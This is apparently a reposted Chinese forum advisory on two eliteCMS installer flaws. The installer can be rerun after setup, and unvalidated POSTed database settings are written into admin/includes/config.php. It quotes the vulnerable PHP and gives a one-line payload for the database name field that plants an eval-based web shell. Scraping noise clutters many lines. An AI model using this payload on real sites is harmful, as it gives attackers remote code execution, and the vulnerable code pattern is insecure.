eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
* {, @* y: t- _* O& x/ i我们来看代码：
9 N/ Y  F! y8 j8 n3 |4 g2 F4 d
7 m$ ^. Q+ r0 Q...
" \7 `/ c4 [: x. r. melseif ($_GET['step'] == "4") {
, h, X" y" ]. q0 P8 |    $file = "../admin/includes/config.php";
! [& @1 W) L3 I" B    $write = "<?php\n";
4 m% g& J8 X$ J& D+ o" ~- _6 E    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
/ M" k' a1 a) c* P- B, A$ p- g...略...
; E5 p' a8 j* G/ v    $write .= "*\n";
0 \  s  x5 K, R    $write .= "*/\n";
    $write .= "\n";
' ~2 x/ i& x! M0 h9 m- p1 D    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
$ Q* J$ c* Q( m' M+ A    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
' H% P8 u6 S: Q4 x2 o    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
* p8 b* d1 R: h$ A7 Y$ G    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
% @& `: `# u! Z9 @7 {  V    $write .= "if (!\$connection) {\n";
/ t0 M& R1 b& D; k    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
& u" }0 Y/ I9 p    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
5 f/ O" k& G) ~( d6 J' w    $write .= "        \n";
    $write .= "} \n";
1 ]* C6 F- \" U5 k    $write .= "?>\n";
/ C- e6 L# y% J  I$ H; \1 E
0 J/ g4 h: u( _& {0 F0 Q, l    $writer = fopen($file, 'w');
...

1 m2 O  J9 [+ o1 d% Y在看代码：
( R3 z1 ]2 H, ]4 K. d# B- M
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
- L- O- k* n; V% J: q5 [$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

( l8 h% U% L3 Q. l"?><?php eval($_POST[c]);?><?php
0 w+ g3 ]; C4 {% y$ g
& F/ x/ u- K  v! W4 z将导致一句话后门写入/admin/includes/config.php